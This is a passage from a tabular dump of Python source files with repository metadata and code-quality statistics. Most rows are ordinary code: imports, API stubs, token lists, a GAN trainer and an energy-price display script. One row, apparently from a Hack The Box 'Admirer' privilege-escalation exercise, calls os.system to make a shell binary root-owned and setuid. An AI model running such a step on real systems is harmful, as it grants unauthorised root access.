] | null | null | null | eval_mosmed_timm-regnetx_002_GridDropout.py | BrunoKrinski/segtool | cb604b5f38104c43a76450136e37c3d1c4b6d275 | [
"MIT"
] | null | null | null | import os
ls=["python main.py --configs configs/eval_mosmed_unetplusplus_timm-regnetx_002_0_GridDropout.yml",
"python main.py --configs configs/eval_mosmed_unetplusplus_timm-regnetx_002_1_GridDropout.yml",
"python main.py --configs configs/eval_mosmed_unetplusplus_timm-regnetx_002_2_GridDropout.yml",
"python main.py -... | 47.727273 | 99 | 0.841905 | 80 | 525 | 5.15 | 0.3 | 0.121359 | 0.145631 | 0.230583 | 0.88835 | 0.88835 | 0.88835 | 0.88835 | 0.88835 | 0.88835 | 0 | 0.040486 | 0.059048 | 525 | 11 | 100 | 47.727273 | 0.793522 | 0 | 0 | 0 | 0 | 0 | 0.874525 | 0.636882 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.111111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
9775713bfa1b0933bda9c9f307aed58430ae4837 | 287 | py | Python | lg_media/src/lg_media/__init__.py | FuriousJulius/lg_ros_nodes | 15a84c5022ab2f5b038d11a5589cd4a34010b1d6 | [
"Apache-2.0"
] | 16 | 2015-10-10T11:55:37.000Z | 2022-02-24T22:47:48.000Z | lg_media/src/lg_media/__init__.py | FuriousJulius/lg_ros_nodes | 15a84c5022ab2f5b038d11a5589cd4a34010b1d6 | [
"Apache-2.0"
] | 292 | 2015-09-29T21:59:53.000Z | 2022-03-31T15:59:31.000Z | lg_media/src/lg_media/__init__.py | constantegonzalez/lg_ros_nodes | 1c7b08c42e90205922602c86805285508d1b7971 | [
"Apache-2.0"
] | 5 | 2017-05-03T06:22:43.000Z | 2021-08-19T16:54:14.000Z | from .mplayer_pool import MplayerPool
from .mplayer_pool import ManagedMplayer
from .gstreamer_pool import GstreamerPool
from .gstreamer_pool import ManagedGstreamer
from .director_media_bridge import DirectorMediaBridge
from .mplayer_pool import DEFAULT_ARGS, SRV_QUERY, ROS_NODE_NAME
| 35.875 | 64 | 0.878049 | 37 | 287 | 6.513514 | 0.540541 | 0.207469 | 0.186722 | 0.261411 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.094077 | 287 | 7 | 65 | 41 | 0.926923 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
c144fd87360f271a2efb1d2859fa57f392e7d6be | 181 | py | Python | ukb/dataloaders/__init__.py | wi905252/ukb-cardiac-mri | 3177dde898a65b1d7f385b78e4f134de3852bea5 | [
"Apache-2.0"
] | 19 | 2018-05-30T22:13:17.000Z | 2022-01-18T14:04:40.000Z | ukb/dataloaders/__init__.py | wi905252/ukb-cardiac-mri | 3177dde898a65b1d7f385b78e4f134de3852bea5 | [
"Apache-2.0"
] | 1 | 2019-08-07T07:29:07.000Z | 2019-08-07T08:54:10.000Z | ukb/dataloaders/__init__.py | wi905252/ukb-cardiac-mri | 3177dde898a65b1d7f385b78e4f134de3852bea5 | [
"Apache-2.0"
] | 8 | 2019-07-03T23:19:43.000Z | 2021-11-15T17:09:24.000Z | from .ukbb import UKBBCardiacMRI
from .ukbb import UKBBCardiacMRIMeta
from .ukbb import UKBBCardiacMRICache
from .ukbb import stratified_sample_dataset
from .cifar10 import CIFAR10
| 30.166667 | 43 | 0.861878 | 22 | 181 | 7 | 0.454545 | 0.207792 | 0.363636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.024845 | 0.110497 | 181 | 5 | 44 | 36.2 | 0.931677 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
c15201965dd8363bd1762c1ce90f122fd9fa19de | 45,480 | py | Python | release/stubs.min/Grasshopper/Kernel/Graphs.py | htlcnn/ironpython-stubs | 780d829e2104b2789d5f4d6f32b0ec9f2930ca03 | [
"MIT"
] | 182 | 2017-06-27T02:26:15.000Z | 2022-03-30T18:53:43.000Z | release/stubs.min/Grasshopper/Kernel/Graphs.py | htlcnn/ironpython-stubs | 780d829e2104b2789d5f4d6f32b0ec9f2930ca03 | [
"MIT"
] | 28 | 2017-06-27T13:38:23.000Z | 2022-03-15T11:19:44.000Z | release/stubs.min/Grasshopper/Kernel/Graphs.py | htlcnn/ironpython-stubs | 780d829e2104b2789d5f4d6f32b0ec9f2930ca03 | [
"MIT"
] | 67 | 2017-06-28T09:43:59.000Z | 2022-03-20T21:17:10.000Z | # encoding: utf-8
# module Grasshopper.Kernel.Graphs calls itself Graphs
# from Grasshopper,Version=1.0.0.20,Culture=neutral,PublicKeyToken=dda4f5ec2cd80803
# by generator 1.145
""" NamespaceTracker represent a CLS namespace. """
# no imports
# functions
def GH_GraphProxyObject(n_owner): # real signature unk... | 31.495845 | 215 | 0.695712 | 5,485 | 45,480 | 5.46928 | 0.052325 | 0.053002 | 0.045602 | 0.045602 | 0.789226 | 0.757359 | 0.740658 | 0.705424 | 0.664956 | 0.645988 | 0 | 0.004377 | 0.156113 | 45,480 | 1,443 | 216 | 31.517672 | 0.777254 | 0.456706 | 0 | 0.837278 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.402367 | false | 0.402367 | 0 | 0 | 0.58432 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 8 |
c1c3df28b85c74683dd8b54d3902662baea5f510 | 23 | py | Python | login.py | wenher/test1 | 3db4c0fc85a8d087e80a75bf57f03f7a90d86903 | [
"MIT"
] | null | null | null | login.py | wenher/test1 | 3db4c0fc85a8d087e80a75bf57f03f7a90d86903 | [
"MIT"
] | null | null | null | login.py | wenher/test1 | 3db4c0fc85a8d087e80a75bf57f03f7a90d86903 | [
"MIT"
] | null | null | null | a = 1
b = 2
num = 3
| 3.285714 | 7 | 0.347826 | 6 | 23 | 1.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.272727 | 0.521739 | 23 | 6 | 8 | 3.833333 | 0.454545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
de072005df01e4c0ed057518a594762593353ce8 | 49 | py | Python | python/src/chirpstack_api/nc/__init__.py | hoellejal/chirpstack-api | cadfed3f9f2f7947e31c45e3aa849ce4a4d55629 | [
"MIT"
] | 55 | 2019-11-05T15:46:49.000Z | 2022-03-23T14:31:33.000Z | python/src/chirpstack_api/nc/__init__.py | hoellejal/chirpstack-api | cadfed3f9f2f7947e31c45e3aa849ce4a4d55629 | [
"MIT"
] | 39 | 2019-11-08T21:03:45.000Z | 2022-03-01T12:40:36.000Z | python/src/chirpstack_api/nc/__init__.py | hoellejal/chirpstack-api | cadfed3f9f2f7947e31c45e3aa849ce4a4d55629 | [
"MIT"
] | 101 | 2019-11-22T13:59:59.000Z | 2022-03-14T09:52:46.000Z | from .nc_pb2_grpc import *
from .nc_pb2 import *
| 16.333333 | 26 | 0.755102 | 9 | 49 | 3.777778 | 0.555556 | 0.352941 | 0.529412 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04878 | 0.163265 | 49 | 2 | 27 | 24.5 | 0.780488 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
de0d095fbc1113249b9c6f86d9af58078bc376a6 | 246,845 | py | Python | tool/cstar_perf/tool/static_vnode_tokens.py | cooldoger/cstar_perf | aceadd1d5a2331668647c53cca231ff9c1338eb4 | [
"Apache-2.0"
] | 60 | 2015-01-01T03:01:40.000Z | 2021-11-06T16:03:41.000Z | tool/cstar_perf/tool/static_vnode_tokens.py | cooldoger/cstar_perf | aceadd1d5a2331668647c53cca231ff9c1338eb4 | [
"Apache-2.0"
] | 182 | 2015-01-04T20:02:54.000Z | 2021-04-23T18:16:23.000Z | tool/cstar_perf/tool/static_vnode_tokens.py | datastax/cstar_perf | aceadd1d5a2331668647c53cca231ff9c1338eb4 | [
"Apache-2.0"
] | 30 | 2015-03-11T14:37:38.000Z | 2021-01-13T10:48:02.000Z | def get_token_group(partitioner="murmur3", group="static-random"):
return static_tokens[partitioner][group]
static_tokens = {
"murmur3": {
"static-random": [
"-1046743493966813495,-1127180199537005110,-118022819648698044,-1189703775502125091,-1249903220729897117,-1363229807648136104,-14179... | 4,657.45283 | 10,099 | 0.947664 | 9,240 | 246,845 | 25.316234 | 0.998593 | 0.000154 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.949205 | 0.002277 | 246,845 | 52 | 10,100 | 4,747.019231 | 0.000605 | 0 | 0 | 0.04 | 0 | 0.72 | 0.996787 | 0.996476 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02 | false | 0 | 0 | 0.02 | 0.04 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
a9d48839cfda653f14a6cb2c808e87dd667cb207 | 130 | py | Python | web/helpdesk/tests/__init__.py | stesla/arxcode | a0ebf7c4d310de8c1980a8ba2a48948a68bb5a0a | [
"MIT"
] | 2 | 2015-09-08T14:20:56.000Z | 2016-03-01T21:09:30.000Z | helpdesk/tests/__init__.py | tuna/django-helpdesk | ba5cc2e4d538fb0c962d160a1c6c1c1dc0c2d77c | [
"MIT"
] | null | null | null | helpdesk/tests/__init__.py | tuna/django-helpdesk | ba5cc2e4d538fb0c962d160a1c6c1c1dc0c2d77c | [
"MIT"
] | 13 | 2017-01-12T11:09:38.000Z | 2019-04-19T10:01:17.000Z | from helpdesk.tests.ticket_submission import *
from helpdesk.tests.public_actions import *
from helpdesk.tests.navigation import * | 43.333333 | 46 | 0.846154 | 17 | 130 | 6.352941 | 0.529412 | 0.333333 | 0.472222 | 0.425926 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.084615 | 130 | 3 | 47 | 43.333333 | 0.907563 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
e70b8f2c0fe1a05f984fc623b6527ff5c0625429 | 214 | py | Python | Server/Python/src/dbs/dao/MySQL/DatasetParent/List.py | vkuznet/DBS | 14df8bbe8ee8f874fe423399b18afef911fe78c7 | [
"Apache-2.0"
] | 8 | 2015-08-14T04:01:32.000Z | 2021-06-03T00:56:42.000Z | Server/Python/src/dbs/dao/MySQL/DatasetParent/List.py | yuyiguo/DBS | 14df8bbe8ee8f874fe423399b18afef911fe78c7 | [
"Apache-2.0"
] | 162 | 2015-01-07T21:34:47.000Z | 2021-10-13T09:42:41.000Z | Server/Python/src/dbs/dao/MySQL/DatasetParent/List.py | yuyiguo/DBS | 14df8bbe8ee8f874fe423399b18afef911fe78c7 | [
"Apache-2.0"
] | 16 | 2015-01-22T15:27:29.000Z | 2021-04-28T09:23:28.000Z | #!/usr/bin/env python
"""
This module provides DatasetParent.List data access object.
"""
from dbs.dao.Oracle.DatasetParent.List import List as OraDatasetParentList
class List(OraDatasetParentList):
pass
| 21.4 | 74 | 0.766355 | 26 | 214 | 6.307692 | 0.807692 | 0.207317 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.140187 | 214 | 9 | 75 | 23.777778 | 0.891304 | 0.373832 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
e72ad280ee4017fc7b7cc58b1101e8f54bdb3e44 | 105 | py | Python | app/kubernetes/__init__.py | zephyrxvxx7/KubeZephyr-Backend | 242410bc236e1f7204c24d635eb3346b0c256dc8 | [
"MIT"
] | 2 | 2021-04-25T01:49:45.000Z | 2021-11-25T09:10:40.000Z | app/kubernetes/__init__.py | zephyrxvxx7/KubeZephyr-Backend | 242410bc236e1f7204c24d635eb3346b0c256dc8 | [
"MIT"
] | null | null | null | app/kubernetes/__init__.py | zephyrxvxx7/KubeZephyr-Backend | 242410bc236e1f7204c24d635eb3346b0c256dc8 | [
"MIT"
] | null | null | null | from .utils import get_k8s_core_v1_api, get_k8s_storage_v1_api, get_k8s_networking_v1_api, get_k8s_v1_api | 105 | 105 | 0.904762 | 22 | 105 | 3.636364 | 0.454545 | 0.3 | 0.3 | 0.4125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.080808 | 0.057143 | 105 | 1 | 105 | 105 | 0.727273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 9 |
e73234ab5dd919ff43e8f6522c66771e94ab48ee | 12,918 | py | Python | nvidia_original/src/trainers/cocogan_trainer_da.py | lgraesser/im2im2im | 835d84b782921f6c40d8cc4416c3fc492187eb58 | [
"MIT"
] | 7 | 2018-04-17T09:56:37.000Z | 2021-08-28T10:03:22.000Z | nvidia_original/src/trainers/cocogan_trainer_da.py | lgraesser/im2im2im | 835d84b782921f6c40d8cc4416c3fc492187eb58 | [
"MIT"
] | null | null | null | nvidia_original/src/trainers/cocogan_trainer_da.py | lgraesser/im2im2im | 835d84b782921f6c40d8cc4416c3fc492187eb58 | [
"MIT"
] | 2 | 2018-03-03T20:39:49.000Z | 2018-04-17T03:48:23.000Z | """
Copyright (C) 2017 NVIDIA Corporation. All rights reserved.
Licensed under the CC BY-NC-ND 4.0 license (https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode).
"""
from cocogan_nets_da import *
from init import *
from helpers import get_model_list, _compute_fake_acc2, _compute_true_acc2
import torch
import t... | 47.667897 | 113 | 0.713655 | 2,162 | 12,918 | 3.893617 | 0.091582 | 0.039914 | 0.031361 | 0.033975 | 0.904847 | 0.8957 | 0.888216 | 0.87111 | 0.87111 | 0.862319 | 0 | 0.017806 | 0.156603 | 12,918 | 271 | 114 | 47.667897 | 0.754842 | 0.027558 | 0 | 0.862069 | 0 | 0 | 0.047171 | 0.007012 | 0 | 0 | 0 | 0 | 0 | 1 | 0.073276 | false | 0 | 0.030172 | 0.008621 | 0.168103 | 0.008621 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e7703b04fd2a325f0219013679c192dd9f9ffd43 | 85 | py | Python | htb/admirer-10.10.10.187/privesc/pwn.py | benhunter/ctf | 3de1a222ea0034ef15eb6b75585b03a6ee37ec37 | [
"MIT"
] | null | null | null | htb/admirer-10.10.10.187/privesc/pwn.py | benhunter/ctf | 3de1a222ea0034ef15eb6b75585b03a6ee37ec37 | [
"MIT"
] | 1 | 2022-03-31T22:44:36.000Z | 2022-03-31T22:44:36.000Z | htb/admirer-10.10.10.187/privesc/pwn.py | benhunter/ctf | 3de1a222ea0034ef15eb6b75585b03a6ee37ec37 | [
"MIT"
] | null | null | null | import os
os.system("chown root:root /home/waldo/shell; chmod +s /home/waldo/shell")
| 28.333333 | 74 | 0.741176 | 15 | 85 | 4.2 | 0.666667 | 0.285714 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.094118 | 85 | 2 | 75 | 42.5 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0.717647 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
e7712b49462b94252f61e41f6c3102c08f92ed26 | 14,034 | py | Python | octoprice_main_inky.py | jordongriffiths/octopus-agile-pi-prices | c02058204c95e0f7a22aa5f1320771dac327e2c4 | [
"Apache-2.0"
] | 32 | 2019-12-07T09:00:52.000Z | 2022-03-05T22:30:33.000Z | octoprice_main_inky.py | jordongriffiths/octopus-agile-pi-prices | c02058204c95e0f7a22aa5f1320771dac327e2c4 | [
"Apache-2.0"
] | 15 | 2020-04-19T16:21:18.000Z | 2022-02-07T21:13:36.000Z | octoprice_main_inky.py | jordongriffiths/octopus-agile-pi-prices | c02058204c95e0f7a22aa5f1320771dac327e2c4 | [
"Apache-2.0"
] | 22 | 2020-01-16T15:36:31.000Z | 2021-08-28T15:49:27.000Z | # this is the script you run every half hour by cron, best done about 20-30 seconds after the half hour to ensure
# that the right datetime is read in.
# For example ---> */30 * * * * sleep 20; /usr/bin/python3 octoprice_main_inky.py > /home/pi/cron.log
# NOTE - USAGE
# This script *won't work* unless you have run (... | 34.651852 | 158 | 0.721035 | 2,382 | 14,034 | 4.082284 | 0.143577 | 0.045249 | 0.033937 | 0.040724 | 0.808618 | 0.798334 | 0.787227 | 0.786816 | 0.777972 | 0.770671 | 0 | 0.033828 | 0.163745 | 14,034 | 404 | 159 | 34.737624 | 0.794734 | 0.326208 | 0 | 0.719368 | 0 | 0 | 0.091716 | 0 | 0.031621 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.027668 | 0 | 0.027668 | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e7a549c7e883ddcdf827a16b55e6faf8cf45e7ff | 190 | py | Python | tests/callbacks.py | ilindrey/aiotapioca-wrapper | 9fc84b8b5c7e11df3ee9a3c8aa6615bc94948524 | [
"MIT"
] | null | null | null | tests/callbacks.py | ilindrey/aiotapioca-wrapper | 9fc84b8b5c7e11df3ee9a3c8aa6615bc94948524 | [
"MIT"
] | null | null | null | tests/callbacks.py | ilindrey/aiotapioca-wrapper | 9fc84b8b5c7e11df3ee9a3c8aa6615bc94948524 | [
"MIT"
] | null | null | null | from aioresponses import CallbackResult
def callback_201(*args, **kwargs):
return CallbackResult(status=201)
def callback_401(*args, **kwargs):
return CallbackResult(status=401)
| 19 | 39 | 0.757895 | 22 | 190 | 6.454545 | 0.545455 | 0.15493 | 0.225352 | 0.422535 | 0.507042 | 0 | 0 | 0 | 0 | 0 | 0 | 0.073171 | 0.136842 | 190 | 9 | 40 | 21.111111 | 0.792683 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | true | 0 | 0.2 | 0.4 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 8 |
e7b8ce484292cd0c0cce73ccb9be05b9c0c2e9d0 | 160 | py | Python | nanoblocks/work/backend/__init__.py | ipazc/nanoblocks | d7433b60029e4bcda4c2c802c3ff05c53d7b220a | [
"MIT"
] | 3 | 2021-03-16T23:59:37.000Z | 2021-12-11T13:52:46.000Z | nanoblocks/work/backend/__init__.py | ipazc/nanoblocks | d7433b60029e4bcda4c2c802c3ff05c53d7b220a | [
"MIT"
] | 1 | 2021-04-02T14:11:02.000Z | 2021-06-16T00:03:33.000Z | nanoblocks/work/backend/__init__.py | ipazc/nanoblocks | d7433b60029e4bcda4c2c802c3ff05c53d7b220a | [
"MIT"
] | null | null | null | from nanoblocks.work.backend.nano_remote_work_server import NanoRemoteWorkServer
from nanoblocks.work.backend.nano_local_work_server import NanoLocalWorkServer
| 53.333333 | 80 | 0.9125 | 20 | 160 | 7 | 0.55 | 0.2 | 0.257143 | 0.357143 | 0.414286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.05 | 160 | 2 | 81 | 80 | 0.921053 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.